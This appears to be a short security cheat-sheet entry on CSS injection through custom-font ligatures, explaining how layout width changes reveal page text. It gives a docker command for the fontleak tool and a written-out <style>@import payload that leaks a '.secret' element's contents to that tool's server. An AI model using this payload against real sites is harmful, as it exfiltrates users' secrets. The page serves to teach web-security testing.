CSS Injection: Ligatures
This technique exploits custom fonts and ligatures. A ligature combines multiple characters into a single glyph. By creating a custom font where specific character sequences (e.g., specific text content) produce a ligature with a huge width, we can detect the change in layout.
Create a custom font with ligatures for target strings.
Use media queries or scrollbars to detect if the rendered width of the element has changed.
docker run -it --rm -p 4242:4242 -e BASE_URL=http://localhost:4242 ghcr.io/adrgs/fontleak:latestPayload example using fontleak with a custom selector, parent element, and alphabet.
Warning: The CSS selector must match exactly one element in the target page.
<style>@import url("http://localhost:4242/?selector=.secret&parent=head&alphabet=abcdef0123456789");</style>
Comments
No comments yet.